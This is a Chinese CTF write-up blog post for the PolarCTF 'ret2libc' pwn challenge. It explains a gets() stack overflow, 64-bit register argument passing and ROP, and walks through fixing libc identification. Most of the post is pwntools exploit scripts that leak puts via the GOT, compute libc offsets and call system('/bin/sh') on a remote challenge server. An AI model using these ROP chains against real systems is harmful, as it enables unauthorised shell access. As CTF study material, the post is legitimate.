PolarCTF-Pwn(困难)刷题WP

1、ret2libc

前期准备:
image

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[112]; // [rsp+0h] [rbp-70h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  gets(s);
  puts(s);
  return 0;
}

因为程序是动态链接的,可以利用gets()函数的溢出来泄露puts()函数的实际地址,利用puts()函数的实际地址计算出libc基地址,再计算system()函数和/bin/sh字符串的地址。这样就可以构造system('/bin/sh')了。

  1. 第一次输入构造puts()用来泄露puts()函数的地址,这里返回地址要设置成main()来提供第二次输入;
  2. 根据泄露出的地址来寻找对应的libc库,并计算libc基址、system()函数和/bin/sh字符串的地址;
  3. 构造栈结构,进行栈溢出;
  4. getshell。

没查到binsh,因此典型构造system和binsh

这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,需要用到ROPgadget来给寄存器赋值。

64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:$rdi $rsi $rdx $rcx $r8 $r9

因为本题需要用到的函数为puts()system(),这两个函数都只有一个参数,所以只需要rdi寄存器,即pop rdi ; ret

构造函数的顺序为:溢出偏移 + pop rdi ; ret + 参数 + 函数地址 + 函数返回地址.

注:这里因为程序只有一次输入输出,所以返回地址要填上main函数的地址,当构造的函数执行完后,会返回到main函数,提供第二次输入。

image

(为了防偏移多找了一个ret)

最初exp(有问题)

from pwn import *
from LibcSearcher import *

offset=0x70+8
rdi_addr = 0x400753
ret_addr = 0x400509
#io = process('./ret2libc')
io = remote('1.95.36.136', 2089)
elf = ELF('./ret2libc')

context(arch='amd64', os='linux', log_level='debug')

got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr = elf.symbols['main']

payload = b'a' * offset + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
io.sendline(payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a' * offset + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)

sleep(1)
io.sendline(payload)
io.interactive()

运行的结果

image

感觉打通了又感觉没打通o(╥﹏╥)o

官方的exp

根本运行不了(python2、3都不行)

from pwn import *

r = process('./ret2libc')
libc = ELF('./libc.so')
elf = ELF('./ret2libc')

padding = 120

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753


payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)


r.sendline(payload)


r.recvline()
#puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))官方这里用不了
puts_real = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print hex(puts_real)


libc_base = puts_real - libc.symbols['puts']
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()


payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)#看不懂,解释在下面

sleep(1)
r.sendline(payload2)

r.interactive()

image

(谢谢Sevedy佬!ღ( ´・ᴗ・` ),大家快去加他blog:https://www.cnblogs.com/Sevedy)

后面佬很强,检查发现是binsh的偏移有问题,导致system打通了但是无法执行命令

关键在于libcsearcher找不到对应的libc库,于是这里要上网站找 https://libc.blukat.me/

image

(官方的libc库也是个错的,不知道他怎么做出来的呃呃呃)

最终exp

from pwn import *

#r = process('./ret2libc')
r=remote('1.95.36.136', 2121)
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
elf = ELF('./ret2libc')

padding = 120

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753

payload = b'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#这里因为程序只有一次输入输出,所以返回地址要填上main函数的地址,当构造的函数执行完后,会返回到main函数,提供第二次输入。
r.sendline(payload)

r.recvline()#接受输出
puts_real = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))#接受实际数据,u64用来解包
print (hex(puts_real))

libc_base = puts_real - libc.symbols['puts']
print (hex(libc_base))
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))

payload2 = b'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)

sleep(1)
r.sendline(payload2)

r.interactive()

image

反思

1、libcsearcher找不到的库要上网站多试几个libc库

2、本地写libc还是不熟练,需要总结更多的模版

3、bin_sh_addr = libc_base + next(libc.search('/bin/sh'))这里的next写法已经更新了

posted @ 2024-12-14 22:34  _ljnljn  阅读(20)  评论(0编辑  收藏  举报